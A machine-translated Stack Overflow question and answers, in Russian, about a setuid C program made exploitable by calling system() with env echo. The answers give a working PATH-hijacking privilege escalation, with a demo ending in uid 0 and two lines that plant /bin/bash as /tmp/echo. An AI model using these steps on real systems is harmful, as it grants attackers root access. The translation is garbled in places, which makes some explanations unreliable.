Вопрос

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

Как я понимаю, приведенный выше код позволяет выполнять произвольный код (или программу) - что делает это уязвимым, и как это воспользоваться этим?

Это было полезно?

Решение

Вы можете переопределить PATH переменная, чтобы указывать на каталог с вашей пользовательской версией echo и с тех пор echo выполняется с помощью env, это не рассматривается как встроенный.

Это составляет уязвимость, только если код запускается как привилегированный пользователь.

В примере ниже файла VC содержит код из вопроса.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Обратите внимание, что настройка реального идентификатора пользователя, эффективный идентификатор пользователя и сохраненный set-user-id по вызову в setresuid() Перед вызовом system() В уязвимом коде, размещенном в вопросе, позволяет использовать уязвимость, даже если только эффективный идентификатор пользователя устанавливается на привилегированный идентификатор пользователя, а реальный идентификатор пользователя остается непреодолимым (как, например, случай, когда он полагается на бит-id set-user on on файл, как указано выше). Без призывов setresuid() оболочка управляется мимо system() Сбросит эффективный идентификатор пользователя обратно в реальное идентификатор пользователя, что делает эксплойт неэффективным. Однако в случае, когда уязвимый код запускается с реальным идентификатором пользователя привилегированного пользователя, system() Позвоните в одиночек достаточно. Цитата sh Человеческая страница:

Если оболочка запускается с эффективного идентификатора пользователя (группы), не равного идентификатору реального пользователя (группы), а опция -p не поставляется, файлы запуска не читаются, функции оболочки не наследуются от среды, Shillopts Переменная, если она отображается в среде, игнорируется, а эффективный идентификатор пользователя устанавливается на реальный идентификатор пользователя. Если опция -p предоставляется при вызове, поведение запуска одинаково, но эффективный идентификатор пользователя не сброшен.

Также обратите внимание, что setresuid() не портативно, но setuid() или же setreuid() также может использоваться с тем же эффектом.

Другие советы

Ну, на самом деле на системной функции вы можете связываться с echo командование Например, если вы выполняете следующий код:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Вы получите оболочку с разрешения владельца файла

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top